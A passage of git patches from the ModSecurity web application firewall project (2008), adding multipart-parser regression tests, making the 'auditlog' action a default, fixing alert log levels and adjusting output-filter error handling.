$ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked - ) . encode_chunked(q(-----------------------------69343412719991675451336310646 -Content-Disposition: form-data; name="a" + ), + ) + .encode_chunked( + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" -1 ------------------------------69343412719991675451336310646 -Content-Disposition: form-data; name="b" + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" -2 ------------------------------69343412719991675451336310646--), 1024), + 2 + -----------------------------69343412719991675451336310646-- + ) + ), + 1024 + ), }, { type => "config", @@ -232,22 +242,32 @@ Content-Disposition: form-data; name="b" match_response => { status => qr/^200$/, }, - request => qq( - POST /test.txt HTTP/1.1 - Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} - User-Agent: $ENV{USER_AGENT} - Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 - Transfer-Encoding: chunked + request => normalize_raw_request_data( + qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked - ) . encode_chunked(q(-----------------------------69343412719991675451336310646 -Content-Disposition: form-data; name="a" + ), + ) + .encode_chunked( + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" -1 ------------------------------69343412719991675451336310646 -Content-Disposition: form-data; name="b" + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" -2 ------------------------------69343412719991675451336310646--), 1024), + 2 + -----------------------------69343412719991675451336310646-- + ) + ), + 1024 + ), }, # SecCookieFormat diff --git a/apache2/t/regression/misc/00-multipart-parser.t b/apache2/t/regression/misc/00-multipart-parser.t new file mode 100644 index 00000000..391813f9 --- /dev/null +++ b/apache2/t/regression/misc/00-multipart-parser.t @@ -0,0 +1,361 @@ +### Multipart parser tests + +# Final CRLF or not, we should still work +{ + type => "misc", + comment => "multipart parser (final CRLF)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRule MULTIPART_STRICT_ERROR "\@eq 1" "phase:2,deny" + SecRule MULTIPART_UNMATCHED_BOUNDARY "\@eq 1" "phase:2,deny" + SecRule REQBODY_PROCESSOR_ERROR "\@eq 1" "phase:2,deny" + ), + match_log => { + debug => [ qr/Adding request argument \(BODY\): name "a", value "1".*Adding request argument \(BODY\): name "b", value "2"/s, 1 ], + -debug => [ qr/Multipart error:/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + -----------------------------69343412719991675451336310646-- + ), + ), + ), +}, +{ + type => "misc", + comment => "multipart parser (no final CRLF)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRule MULTIPART_STRICT_ERROR "\@eq 1" "phase:2,deny" + SecRule MULTIPART_UNMATCHED_BOUNDARY "\@eq 1" "phase:2,deny" + SecRule REQBODY_PROCESSOR_ERROR "\@eq 1" "phase:2,deny" + ), + match_log => { + debug => [ qr/Adding request argument \(BODY\): name "a", value "1".*Adding request argument \(BODY\): name "b", value "2"/s, 1 ], + -debug => [ qr/Multipart error:/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + -----------------------------69343412719991675451336310646--), + ), + ), +}, + +# Should work with a boundary of "boundary" +{ + type => "misc", + comment => "multipart parser (boundary contains \"boundary\")", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRule MULTIPART_STRICT_ERROR "\@eq 1" "phase:2,deny" + SecRule MULTIPART_UNMATCHED_BOUNDARY "\@eq 1" "phase:2,deny" + SecRule REQBODY_PROCESSOR_ERROR "\@eq 1" "phase:2,deny" + ), + match_log => { + debug => [ qr/Adding request argument \(BODY\): name "a", value "1".*Adding request argument \(BODY\): name "b", value "2"/s, 1 ], + -debug => [ qr/Multipart error:/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=------------------------------------------------boundary", + ], + normalize_raw_request_data( + q( + --------------------------------------------------boundary + Content-Disposition: form-data; name="a" + + 1 + --------------------------------------------------boundary + Content-Disposition: form-data; name="b" + + 2 + --------------------------------------------------boundary-- + ), + ), + ), +}, +{ + type => "misc", + comment => "multipart parser (boundary contains \"BoUnDaRy\")", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRule MULTIPART_STRICT_ERROR "\@eq 1" "phase:2,deny" + SecRule MULTIPART_UNMATCHED_BOUNDARY "\@eq 1" "phase:2,deny" + SecRule REQBODY_PROCESSOR_ERROR "\@eq 1" "phase:2,deny" + ), + match_log => { + debug => [ qr/Adding request argument \(BODY\): name "a", value "1".*Adding request argument \(BODY\): name "b", value "2"/s, 1 ], + -debug => [ qr/Multipart error:/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=------------------------------------------------BoUnDaRy", + ], + normalize_raw_request_data( + q( + --------------------------------------------------BoUnDaRy + Content-Disposition: form-data; name="a" + + 1 + --------------------------------------------------BoUnDaRy + Content-Disposition: form-data; name="b" + + 2 + --------------------------------------------------BoUnDaRy-- + ), + ), + ), +}, + +# We should handle data starting with a "--" +{ + type => "misc", + comment => "multipart parser (data contains \"--\")", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecRule MULTIPART_STRICT_ERROR "\@eq 1" "phase:2,deny" + SecRule REQBODY_PROCESSOR_ERROR "\@eq 1" "phase:2,deny" + ), + match_log => { + debug => [ qr/Adding request argument \(BODY\): name "a", value "--test".*Adding request argument \(BODY\): name "b", value "--"/s, 1 ], + -debug => [ qr/Multipart error:/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + --test + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + -- + -----------------------------69343412719991675451336310646--), + ), + ), +}, + +# We should emit warnings for parsing errors +{ + type => "misc", + comment => "multipart parser error (no final boundary)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecAuditLog "$ENV{AUDIT_LOG}" + SecAuditEngine RelevantOnly + ), + match_log => { + audit => [ qr/Final boundary missing/, 1 ], + debug => [ qr/Final boundary missing/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + ), + ), + ), +}, +{ + type => "misc", + comment => "multipart parser error (no disposition)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecAuditLog "$ENV{AUDIT_LOG}" + SecAuditEngine RelevantOnly + ), + match_log => { + -debug => [ qr/Multipart error:/, 1 ], + audit => [ qr/Part missing Content-Disposition header/, 1 ], + debug => [ qr/Part missing Content-Disposition header/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + + 1 + -----------------------------69343412719991675451336310646 + + 2 + -----------------------------69343412719991675451336310646-- + ), + ), + ), +}, +{ + type => "misc", + comment => "multipart parser error (bad disposition)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecAuditLog "$ENV{AUDIT_LOG}" + SecAuditEngine RelevantOnly + ), + match_log => { + audit => [ qr/Invalid Content-Disposition header/, 1 ], + debug => [ qr/Invalid Content-Disposition header/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data name="b" + + 2 + -----------------------------69343412719991675451336310646-- + ), + ), + ), +}, +{ + type => "misc", + comment => "multipart parser error (no disposition name)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + SecAuditLog "$ENV{AUDIT_LOG}" + SecAuditEngine RelevantOnly + ), + match_log => { + -debug => [ qr/Multipart error:/, 1 ], + audit => [ qr/Content-Disposition header missing name field/, 1 ], + debug => [ qr/Content-Disposition header missing name field/, 1 ], + + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + ], + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; + + 2 + -----------------------------69343412719991675451336310646-- + ), + ), + ), +}, diff --git a/apache2/t/regression/rule/00-basics.t b/apache2/t/regression/rule/00-basics.t index 3c7e8c04..396d0ea1 100644 --- a/apache2/t/regression/rule/00-basics.t +++ b/apache2/t/regression/rule/00-basics.t @@ -2,7 +2,7 @@ # SecAction { - type => "config", + type => "rule", comment => "SecAction (override default)", conf => qq( SecRuleEngine On diff --git a/apache2/t/regression/target/00-targets.t b/apache2/t/regression/target/00-targets.t index fcbb1fab..9a89f3b5 100644 --- a/apache2/t/regression/target/00-targets.t +++ b/apache2/t/regression/target/00-targets.t @@ -370,7 +370,51 @@ ), }, -# TODO: AUTH_TYPE +# AUTH_TYPE +#{ +# type => "target", +# comment => "AUTH_TYPE", +# conf => qq( +# = 2.2> +# +# LoadModule authn_file_module modules/mod_authn_file.so +# +# +## +## +## LoadModule auth_module modules/mod_auth.so +## +## +# +# AuthType Basic +# AuthName Test +# AuthUserFile "$ENV{CONF_DIR}/htpasswd" +# Require user nobody +# +# SecRuleEngine On +# SecRequestBodyAccess On +# SecResponseBodyAccess On +# SecResponseBodyMimeType null +## SecDebugLog $ENV{DEBUG_LOG} +## SecDebugLogLevel 9 +# SecRule REQUEST_HEADERS:Authorization "Basic (.*)" "phase:2,log,pass,capture,chain" +# SecRule TX:1 "nobody:test" "t:none,t:base64Decode,chain" +# SecRule AUTH_TYPE "Basic" +# ), +# match_log => { +# error => [ qr/Pattern match "Basic" at AUTH_TYPE/s, 1 ], +# }, +# match_response => { +# status => qr/^200$/, +# }, +# request => new HTTP::Request( +# GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", +# [ +# "Authorization" => "Basic bm9ib2R5OnRlc3Q=" +# ], +# ), +#}, + # TODO: ENV # TODO: FILES # TODO: FILES_COMBINED_SIZE diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 91582a52..a21e265f 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -21,7 +21,7 @@ use Data::Dumper; use IO::Socket; use LWP::UserAgent; -my @TYPES = qw(config action target rule); +my @TYPES = qw(config misc action target rule); my $SCRIPT = basename($0); my $SCRIPT_DIR = File::Spec->rel2abs(dirname($0)); my $REG_DIR = "$SCRIPT_DIR/regression"; @@ -324,6 +324,23 @@ sub runfile { msg(sprintf("Passed: %2d; Failed: %2d", $pass, $testnum ? (1 - $pass) : ($n - $pass))); } +# Take out any indenting and translate LF -> CRLF +sub normalize_raw_request_data { + my $r = $_[0]; + + # Allow for indenting in test file + $r =~ s/^[ \t]*\x0d?\x0a//s; + my($indention) = ($r =~ m/^([ \t]*)/s); # indention taken from first line + $r =~ s/^$indention//mg; + $r =~ s/(\x0d?\x0a)[ \t]+$/$1/s; + + # Translate LF to CRLF + $r =~ s/^\x0a/\x0d\x0a/mg; + $r =~ s/([^\x0d])\x0a/$1\x0d\x0a/mg; + + return $r; +} + sub do_raw_request { my $sock = new IO::Socket::INET( Proto => "tcp", @@ -332,15 +349,14 @@ sub do_raw_request { ) or msg("Failed to connect to localhost:$opt{p}: $@"); return unless ($sock); - my $r = "@_"; - $r =~ s/^[^A-Z]+//s; - $r =~ s/^[ \t]+//mg; - $r =~ s/^\x0a/\x0d\x0a/mg; - $r =~ s/([^\x0d])\x0a/$1\x0d\x0a/mg; + # Join togeather the request + my $r = join("", @_); + # Write to socket print $sock "$r"; $sock->shutdown(1); + # Read from socket my @resp = <$sock>; $sock->close(); From f2449c6f3511e9c88f8b11adabf5be49e5574b90 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 2 Jun 2008 23:31:27 +0000 Subject: [PATCH 045/110] Enable "auditlog" action by default. See #445 and #451. --- CHANGES | 5 ++++- apache2/re.c | 4 ++-- doc/modsecurity2-apache-reference.xml | 4 ++-- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/CHANGES b/CHANGES index a1ffdabd..04dad823 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ -30 May 2008 - trunk +02 Jun 2008 - trunk ------------------- +* Enable the "auditlog" action by default to help prevent a misconfiguration. + The new default is now: "phase:2,log,auditlog,pass" + * Improve request body processing error messages. * Handle lack of a new line after the final boundary in a multipart request. diff --git a/apache2/re.c b/apache2/re.c index 47486f76..371fc579 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -659,7 +659,7 @@ msre_actionset *msre_actionset_merge(msre_engine *engine, msre_actionset *parent msre_actionset *msre_actionset_create_default(msre_engine *engine) { char *my_error_msg = NULL; return msre_actionset_create(engine, - "phase:2,log,pass", + "phase:2,log,auditlog,pass", &my_error_msg); } @@ -691,7 +691,7 @@ void msre_actionset_set_defaults(msre_actionset *actionset) { if (actionset->intercept_pause == NOT_SET) actionset->intercept_pause = 0; /* Other */ - if (actionset->auditlog == NOT_SET) actionset->auditlog = 0; + if (actionset->auditlog == NOT_SET) actionset->auditlog = 1; if (actionset->log == NOT_SET) actionset->log = 1; } diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index fd4c8856..0a509250 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.6.0-trunk (April 02, 2008) + Version 2.6.0-trunk (June 02, 2008) 2004-2008 @@ -1185,7 +1185,7 @@ SecAuditLogStorageDir logs/audit The default value is minimal (differing from previous versions): - SecDefaultAction phase:2,log,pass + SecDefaultAction phase:2,log,auditlog,pass Note From 16acbe4949c5eb9dce5338f625ea2f9a5eb80e97 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 2 Jun 2008 23:34:31 +0000 Subject: [PATCH 046/110] Fixed issue where logging was not occuring unless "auditlog" was enabled. See #497, #4, #451 and #445. --- CHANGES | 3 +++ apache2/re.c | 15 ++++++++++++--- 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/CHANGES b/CHANGES index 04dad823..dc332422 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ 02 Jun 2008 - trunk ------------------- +* Fixed an issue where an alert was not logged in the error log + unless "auditlog" was used. + * Enable the "auditlog" action by default to help prevent a misconfiguration. The new default is now: "phase:2,log,auditlog,pass" diff --git a/apache2/re.c b/apache2/re.c index 371fc579..243f1451 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -1629,9 +1629,18 @@ static void msre_perform_disruptive_actions(modsec_rec *msr, msre_rule *rule, || (msr->modsecurity->processing_mode == MODSEC_OFFLINE) || (actionset->intercept_action == ACTION_NONE)) { - /* If "no(audit)?log" was used log at a higher level. */ - msc_alert(msr, ((actionset->log == 0) || (actionset->auditlog == 0) ? 4 : 2), actionset, - "Warning.", message); + /* If "nolog" was used log at a higher level to prevent an "alert". */ + int log_level = (actionset->log == 0 ? 4 : 2); + msc_alert(msr, log_level, actionset, "Warning.", message); + + /* However, this will mark the txn relevant again if it is <=3, + * which will mess up noauditlog. We need to compensate for this + * so that we do not increment twice when auditlog is enabled and + * prevent incrementing when auditlog is disabled. + */ + if (log_level <= 3) { + msr->is_relevant--; + } return; } From 230837d4a3a2fb33fd85e107448dcacd2a7e3e72 Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 3 Jun 2008 20:24:14 +0000 Subject: [PATCH 047/110] Update/reorg some regression tests. --- .../regression/action/00-disruptive-actions.t | 96 +++++++++++++++++++ .../{rule/10-phases.t => misc/00-phases.t} | 10 +- 2 files changed, 101 insertions(+), 5 deletions(-) rename apache2/t/regression/{rule/10-phases.t => misc/00-phases.t} (98%) diff --git a/apache2/t/regression/action/00-disruptive-actions.t b/apache2/t/regression/action/00-disruptive-actions.t index 5987b57a..c37133b1 100644 --- a/apache2/t/regression/action/00-disruptive-actions.t +++ b/apache2/t/regression/action/00-disruptive-actions.t @@ -6,6 +6,9 @@ comment => "pass in phase:1", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:1,pass" SecAction "phase:1,deny" ), @@ -24,6 +27,9 @@ comment => "pass in phase:2", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:2,pass" SecAction "phase:2,deny" ), @@ -42,6 +48,11 @@ comment => "pass in phase:3", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:3,pass" SecAction "phase:3,deny" ), @@ -60,6 +71,11 @@ comment => "pass in phase:4", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:4,pass" SecAction "phase:4,deny" ), @@ -80,6 +96,9 @@ comment => "allow in phase:1", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:1,allow" SecAction "phase:1,deny" ), @@ -98,6 +117,9 @@ comment => "allow in phase:2", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:2,allow" SecAction "phase:2,deny" ), @@ -116,6 +138,11 @@ comment => "allow in phase:3", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:3,allow" SecAction "phase:3,deny" ), @@ -134,6 +161,11 @@ comment => "allow in phase:4", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:4,allow" SecAction "phase:4,deny" ), @@ -154,6 +186,9 @@ comment => "deny in phase:1", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:1,deny" ), match_log => { @@ -171,6 +206,9 @@ comment => "deny in phase:2", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:2,deny" ), match_log => { @@ -188,6 +226,11 @@ comment => "deny in phase:3", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:3,deny" ), match_log => { @@ -205,6 +248,11 @@ comment => "deny in phase:4", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:4,deny" ), match_log => { @@ -224,6 +272,9 @@ comment => "drop in phase:1", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:1,drop" ), match_log => { @@ -241,6 +292,9 @@ comment => "drop in phase:2", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecAction "phase:2,drop" ), match_log => { @@ -258,6 +312,11 @@ comment => "drop in phase:3", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:3,drop" ), match_log => { @@ -275,6 +334,11 @@ comment => "drop in phase:4", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecAction "phase:4,drop" ), match_log => { @@ -294,6 +358,9 @@ comment => "redirect in phase:1 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -312,6 +379,9 @@ comment => "redirect in phase:2 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -330,6 +400,11 @@ comment => "redirect in phase:3 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -348,6 +423,11 @@ comment => "redirect in phase:4 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -368,6 +448,9 @@ comment => "proxy in phase:1 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -386,6 +469,9 @@ comment => "proxy in phase:2 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -404,6 +490,11 @@ comment => "proxy in phase:3 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { @@ -421,6 +512,11 @@ comment => "proxy in phase:4 (get)", conf => qq( SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 4 SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" ), match_log => { diff --git a/apache2/t/regression/rule/10-phases.t b/apache2/t/regression/misc/00-phases.t similarity index 98% rename from apache2/t/regression/rule/10-phases.t rename to apache2/t/regression/misc/00-phases.t index 8526bdb8..f3c5d1f1 100644 --- a/apache2/t/regression/rule/10-phases.t +++ b/apache2/t/regression/misc/00-phases.t @@ -2,7 +2,7 @@ # Phase 1 (request headers) { - type => "rule", + type => "misc", comment => "phase 1", conf => qq( SecRuleEngine On @@ -32,7 +32,7 @@ # Phase 2 (request body) { - type => "rule", + type => "misc", comment => "phase 2", conf => qq( SecRuleEngine On @@ -62,7 +62,7 @@ # Phase 3 (response headers) { - type => "rule", + type => "misc", comment => "phase 3", conf => qq( SecRuleEngine On @@ -92,7 +92,7 @@ # Phase 4 (response body) { - type => "rule", + type => "misc", comment => "phase 4", conf => qq( SecRuleEngine On @@ -121,7 +121,7 @@ # Phase 5 (logging) { - type => "rule", + type => "misc", comment => "phase 5", conf => qq( SecRuleEngine On From 83ff6c479611898d1d9cc9aa6ec1a13f8757de0a Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 3 Jun 2008 20:28:05 +0000 Subject: [PATCH 048/110] Re-enable error output filter with a fix after more testing/tracing of code. See #498. Update versions to ready for release of 2.5.5. --- CHANGES | 2 +- apache2/apache2_io.c | 7 +++++++ apache2/mod_security2.c | 14 ++++++++++---- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/CHANGES b/CHANGES index dc332422..a8076f54 100644 --- a/CHANGES +++ b/CHANGES @@ -1,4 +1,4 @@ -02 Jun 2008 - trunk +03 Jun 2008 - trunk ------------------- * Fixed an issue where an alert was not logged in the error log diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index cbfe3989..f4df75ed 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -39,6 +39,7 @@ apr_status_t input_filter(ap_filter_t *f, apr_bucket_brigade *bb_out, return APR_EGENERAL; } + /* Make sure we are using the current request */ msr->r = f->r; if (msr->phase < PHASE_REQUEST_BODY) { @@ -678,17 +679,20 @@ apr_status_t output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { /* Do we need to process a partial response? */ if (start_skipping) { if (flatten_response_body(msr) < 0) { + ap_remove_output_filter(f); return send_error_bucket(msr, f, HTTP_INTERNAL_SERVER_ERROR); } /* Process phase RESPONSE_BODY */ rc = modsecurity_process_phase(msr, PHASE_RESPONSE_BODY); if (rc < 0) { + ap_remove_output_filter(f); return send_error_bucket(msr, f, HTTP_INTERNAL_SERVER_ERROR); } if (rc > 0) { int status = perform_interception(msr); if (status != DECLINED) { /* DECLINED means we allow-ed the request. */ + ap_remove_output_filter(f); return send_error_bucket(msr, f, status); } } @@ -735,16 +739,19 @@ apr_status_t output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { */ if (msr->phase < PHASE_RESPONSE_BODY) { if (flatten_response_body(msr) < 0) { + ap_remove_output_filter(f); return send_error_bucket(msr, f, HTTP_INTERNAL_SERVER_ERROR); } rc = modsecurity_process_phase(msr, PHASE_RESPONSE_BODY); if (rc < 0) { + ap_remove_output_filter(f); return send_error_bucket(msr, f, HTTP_INTERNAL_SERVER_ERROR); } if (rc > 0) { int status = perform_interception(msr); if (status != DECLINED) { /* DECLINED means we allow-ed the request. */ + ap_remove_output_filter(f); return send_error_bucket(msr, f, status); } } diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index 61a63e5d..c94f03e9 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -962,7 +962,6 @@ static void hook_insert_filter(request_rec *r) { } /* NOTE: This is causing and endless loop when blocking in phase:3 */ -#if 0 /** * Invoked whenever Apache starts processing an error. A chance * to insert ourselves into the output filter chain. @@ -976,6 +975,16 @@ static void 